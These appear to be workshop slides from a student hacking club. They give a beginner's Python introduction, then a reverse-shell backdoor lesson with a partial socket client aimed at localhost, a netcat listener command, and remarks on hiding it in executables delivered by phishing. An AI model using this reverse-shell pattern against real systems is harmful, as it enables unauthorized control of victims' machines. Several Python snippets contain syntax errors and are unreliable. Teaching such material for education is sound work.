Python - A Hacker's Introduction

Presented by Kevin Taha

  • Part 1 : Intro to Python
  • Part 2: Applications: Reverse Shell Backdoor

Full Slides available at kevintxy.github.io/Python_Workshop/

Requirements

1. Python 3
  • Option 1 (Recommended): Install from python.org or SSH to lab machine such as data.cs or maven.itap
  • Option 2: Use repl.it (online IDE, will NOT work for part 2)
  • WINDOWS USERS: Please check the "Add Python3.7 to PATH" button.
    If you prefer using the Linux Subsystem for Windows, open BASH and run "sudo apt install python3" instead

2. Any Text Editor
  • I'll be using VIM on Bash for Windows, VS Code is also amazing.
3. Network Listener (For Part 2) - We will handle this later
  • Easy Option: NetCat
  • Hard: Write your own (We'll go over this)

Windows Users: Remember to ADD TO PATH

This is required for Python to run in command line or Powershell
  • It's also much easier to do this in the installer than manually
  • Other Notes and Warnings

    All information in this workshop is for educational purposes. If you have any issues please contact me! All workshop material is open source. Images used are courtesy of RealPython.


    Down arrow
    Getting Help

    These slides should be comprehensive enough for you to reference back on your own

    kevintxy.github.io/Python_Workshop

    Contact Me!

    ktaha@purdue.edu

    /in/kevintaha
    /ktahaxy
    Curriculum

    Python3 - Easy as Py

    • Variables & Basics
    • String Methods and Lists
    • Loops
    • Functions and Classes
    • Some Data Structures

    Applications: Reverse Shell Backdoor

    • Mini intro to sockets
    • Let's Hack!

    Part 1) Intro to Python

    Why Know Python?

  • It's popular, easy to write, and reads like english!
  • Example: Ternary Operators: C vs Python
    In C:
    int a = 1;
    printf("%s", (a == 1) ? "A IS ONE":"A IS NOT ONE");
    // Output: "A IS ONE"
    In Python:
    a = 2
    print("A IS ONE") if a is 1 else "A IS NOT ONE"
    # Output: "A IS NOT ONE"

    Why know Python?

  • It's VERY widely used by professionals, researchers, and hobbyists
  • It's brutally effective for rapid development and quick scripts
  • It has a huge collection of libraries, especially for Machine Learning
  • It's not going away anytime soon
  • 2) Writing and Compiling

    Let's Get Started!

    1. Get an active text editor and terminal running!
      • Native Users: Any text editor like VSCode. Have a terminal window (Bash, Powershell, VSCode Terminal, etc) open to your working directory
      • Repl.it users: Just open a new Python project!
    2. Play around with the command line! Native users: type "python" in terminal to open it.

    How to "Compile"

  • Let's write some code!
  • print("Hello Python")

    That's it!

    Now let's run it:

  • Head to the terminal and type: python hello.py
  • Repl.it users: Just hit "run"
  • Make sure you've exited the python interpreter (Type "quit()")
  • Side Note: Creating Executables

    UNIX/Mac Users: Add extra line to top of your code, use chmod
    #!/usr/bin/env python print("Hello World")

    In terminal: chmod +x hello.py, then run ./hello.py

    Windows users: Many options, py2exe is one good one.

    3) Variables and Types

    Variable Usage - Declaring

  • Python is dynamically-typed - no declarations needed!
  • 
    # Use hashes to write comments
    x = "Python"
    y = 3
    print(x)
    print(y)
    print(type(x))
    
    
    					

    Variable Usage - Printing

  • Watch out for data type errors - cast using str(), int(), float(), and other functions
  • 
    
    x = "Python"
    y = 3
    
    # Formatting dynamically using .format
    print("{} has many formatting tricks in version {}".format(x,y))
    
    print("%s %d also supports C-style formatting!" % ("Python", 3))
    
    # If concatenating with +, remember to cast!
    print(x + str(y))
    								
    					

    For Python 3.6+, Google "Python f-strings"

    Advanced: Swap Variables in one line

    int a, b = 2, 5
    a, b = b, a

    # Python evaluates the right side first and packs the result into a tuple
    # It then evaluates the left side using that result
    # This effectively swaps the two variables

    4) Lists and Strings

    Lists & String Methods

    Python has 4 major collection-based data types
    • Lists - Dynamically sized arrays
    • Tuples - Ordered & unchangable lists
    • Sets - Unordered, Unindexed, no duplicates - Similar to mathematical sets
    • Dictionaries - Very powerful "Hash Table" style structure
    Working with lists (Example + Live Demo)
    
    # Lists have no data type requirements.
    myList = ["apple", 1, 2, "banana"]
    
    # Easy to change elements
    myList[1] = 7
    
    # Also easy to append, remove, extend, etc with list functions!
    myList.append("newstuff")  # Adds new item
    myList.extend([5,6,7])  # Extends list with contents of another list
    myList.removes("apple")	 # Removes by item
    myList.pop(0)  # Removes item @ first index & returns it
    
    # Other useful functions: len(), index(), count(), reverse(),
    # sort(), clear(), enumerate() ... and many more!
    					
    Strings Intro & Demo
  • Strings function like lists, but are immutable (unchangable)
  • The built-in str library also has a LOT of very useful functions
  • 
    longString = """ Use triple quotes in order to allow your strings
    to span multiple lines without getting indentation errors """
    
    # Split string up into words using space as separator
    wordList = longString.split(' ')
    
    # You can also do the reverse with str.join()
    newString = ' '.join(wordList)
    
    # You can search within strings as if they were lists
    print('triple' in longString) # Outputs True
    
    # Other useful functions: len(), str.strip(), .lower(), .upper(), 
    .replace(), .capitalize(), .index(), .isalpha(),...
    					
    List & String Splicing
  • Lists and Strings can be spliced with the format stuff[first:last:skip]
  • 
    a = "Boiler Up!"
    
    a[:4]   #Outputs: "Boil" 
    a[6:]   #Outputs: " Up!"
    a[3:8]  #Outputs: "ler U"
    a[:3] + a[6:] Outputs: "Boi Up!"
    
    a[::2]  #Outputs: "Bie p"
    a[::-1] #Outputs: "!pU relioB", effectively reversing the string!
    
    # Note: Python supports negative indices for lists!
    a[-3]   #Outputs: 'U'
    
    					

    5) Control Flow

    Control Flow

    Python has many control flow statements, these are the most notable:

  • If/elif/else statements,
  • For Loops and For-Each loops
  • While Loops
  • Break and continue statements
  • The "pass" statement
  • Functions
  • If statements

    Self explanatory, works like every other language. INDENT!

    
    # Declaring 2 vars at once using Python's unpacking features
    purdue, iu = 9, 4
    
    if purdue > iu:
    	print(" IU Sucks! ")
    elif purdue == iu:
    	iu = purdue - 1000
    else:
    	del iu 
    # del is a keyword for deleting objects (usually not used)
    
    # Python has the logical operators "and", "or", and "not"
    if 9 + 10 != 21 and not iu > Purdue:
    	print("All is right in the world")
    					
    				

    Shorthand If and Ternaries

    
    # Single statements can go on one line
    if a > b: print("A is bigger")
    
    # If/Else can also go on one line using ternary syntax
    print(" IU Sucks! ") if purdue > iu else print(" iu sucks?")
    			

    While Loops

  • While loops are self explanatory and work like other languages
  • 
    # Remember to Indent!
    i = 10
    while i > 0:
    	print(i)
    	i -= 1
    
    # Note: "break" and "continue" statements are supported!
    				

    For Loops

    • Python For loops are untraditional
    • For loops require some kind of "iterable" object or "sequence" to go through
      • This could be lists, strings, or many other types of data structures
    
    # "Traditional" style for loops
    for i in range(3):
    	print(i)
    
    #Output: 0 
    	 1
    	 2
    
    # The range(first, last, skip) function is commonly used for loops
    
    				

    More for loop examples

    
    schools = ["Purdue", "IU", "UIUC", "Michigan"]
    for x in mylist:
    	print(x)
    
    # Loop through Letters in a String
    for i in "some random string":
    	print(i)
    
    # Use range function to specify exact looping parameters
    for x in range(2,30,10):
    	print(x)     #Output: 2, 12, 22
    
    				

    6) Functions and Classes

    Python is an Object-Oriented language that can behave like a dynamic/functional language

    Functions

  • Use the "def" keyword to write functions
  • 
    def do_stuff():
    	print("Beep Boop did you call me?")
    			
    # Functions with parameters
    def say_hello(name):
    	print("Hello", name)
    					
    # You can also set default parameter values
    def say_hello(name = "John")
    	print("Hello", name)   
    # Prints "Hello John" if called w/out parameter
    					
    # Use the "return" keyword for return values
    def add(x, y)
    	return x + y
    
    				

    Star Unpacking For Arguments

    
    def printFour(a, b, c, d):
    	print(a, b, c, d)
    
    nums = [1, 2, 3, 4]
    printFour(*nums)
    
    # Using * will "unpack" the list into separate argument vars.
    
    				

    Classes

    Python OOP could justify its own workshop, but here are the basics:

    
    # Declaring Classes
    class Pet:
    
    # Initializer - uses one of Python's "Magic Methods"
    	def __init__(self, name, age): 
    		self.name = name
    		self.age = age
    		mood = "Happy"
    
    class Dog(Pet):  # Subclass Inherits from Parent (Pet)
    	def bark(self)
    		print("Woof, says " + self.name)
    
    myDog = Dog("Teddy", 2)
    myDog.bark()  # Outputs: "Woof, says Teddy"
    				

    Imports

    The "import" is used for libraries and it is very versatile.

    
    # Importing and using entire Library
    import random
    x = random.randint(1,10)
    
    # You can rename an imported library using the "as" keyword
    import random as ra
    x = ra.randint(1,10)
    
    # You can also choose to just import certain functions from the library
    from random import randint, random, shuffle
    x = [randint(1,10) for i in range(10)]
    shuffle(x)   # No need to reference the class!
    
    # Sneak peak of "list comprehensions" shown above. 
    # Generated list of 10 random numbers 1-10 in just one line!
    				

    7) References and further learning

    Things you'd really want to learn:

  • Data Structures, especially DICTIONARIES!
  • File IO
  • List Comprehensions
  • More about OOP/Classes
  • Common Libraries like Numpy, Pandas...
  • Exception Handling and try/catch
  • Good Resources:

  • "Python Crash Course" Cheat sheets bit.ly/2S8WIyx
  • RealPython.com
  • Official Python Docs
  • Just use it to build whatever you want and learn by doing!
  • Part 2: Reverse Shell Script

    What is a reverse shell?

  • One of the most basic types of computer attacks. Sometimes called "Shell Shoveling"
  • Allows attacker to gain control of another computer's command line (shell)
  • Attacking machine listens on port for victim machine's response.
  • Once the victim's machine runs the exploit script, attacker can take control
  • How it's usually implemented

    Typically we'd have separate code for a server and a client

    We can simplify using NetCat!

    Why write any server code if we can use NetCat?

  • NetCat is a utility preinstalled on most UNIX machines that reads/writes to network connections. To save time we will use it to handle our server end.
  • Setup

  • MacOS, Linux, and Bash For Windows Users: Netcat should be preinstalled. Just have two terminal windows open
  • Repl.it users: Unsupported. SSH into a lab (see next slide)
  • If NetCat doesn't work or you want to see how the server would look in Python, use my Python listener code instead of NetCat: Find it in the "Python" folder for this workshop or at bit.ly/2TypaGs
  • Windows

    • My code uses UNIX dependent commands from the OS library. As such, I am not supporting Windows.
    • Option 1) RECOMMENDED: Work from a Remote UNIX machine
      • CS Students: user@data.cs.purdue.edu
      • Other: user@maven.itap.purdue.edu
    • Option 2) If installed, you can use the Windows Linux Subsystem for Windows 10 or a VM
    • To learn about how a reverse shell can be adapted to Linux AND Windows, see
      github.com/thelinuxchoice/shellpy

    Let's Hack!

    This part will be live coding

    The next few slides will also step through the code for those reviewing post-workshop. These are not as much in-depth so contact me with questions!

    Imports and declarations

    
    #!/usr/bin/python
    import subprocess # Lets us start new processes/apps from within Python
    import os       # Gives us Operating System functions
    import socket   # Enables network programming w/ sockets in Python
    
    
    # IP of the attacker computer. We'll use localhost (127.0.0.1) 
    # because we'll be attacking our own computer.		
    host = "127.0.0.1"
    
    # Port to be used. Can be pretty much any 4 digit number. 
    port = 9999
    			

    Shell Confirm Function (Somewhat optional)

  • Challenge: build a secure login feature for the attacker using randomized passwords.
  • Shell Loop Function

  • Challenge: Implement a "say" command that prints whatever the attacker writes to the target's computer
  • Starting our functions

    
    # Intialize our socket - Internet Socket accessed via a stream.		
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Make a connection using our host name and port
    s.connect((host,port))
    # Start our Confirm function
    Confirm()
    

    Putting it all together

    Testing our script

  • Attacker: Run nc -lvp [PortNumber] in terminal.
    • -l specifies to listen for a connection (listen mode)
    • -v is for more verbose output, it's optional.
    • -p signals that we have a port we're going to listen on
    • [PortNumber] is the port we set in the exploit code. I'm using 9999
  • Now run our exploit script on the target machine (In our case another terminal window) with the command python3 exploit.py


  • Left: Attacker ||| Right: Target

    Why this exploit is meaningful

  • Can be hidden inside an exe file and activated through phishing attacks (firewall required)
  • Bypasses most antivirus software
  • It's the most dangerous starting point for any pentest
  • Can be implemented in any language or just using NetCat
  • Overall Takeaways

  • Python is a flexible language that is brutally effective at ANYTHING
  • You don't need to know much about coding to do real damage
  • Don't be Evil
  • Closing Notes

  • Another PH member is running a Machine Learning Workshop in Python next week! Stay tuned with our events.
  • I can cover additional topics within or outside of Python - just let me know what interests you
  • Want to help with our events or run your own workshop? Come to our weekly organizer meetings!
  • Thank you :)

    Contact Purdue Hackers

    purduehackers@gmail.com

    phackers@purdue.edu

    Contact Me

    ktaha@purdue.edu

    /in/kevintaha
    /ktahaxy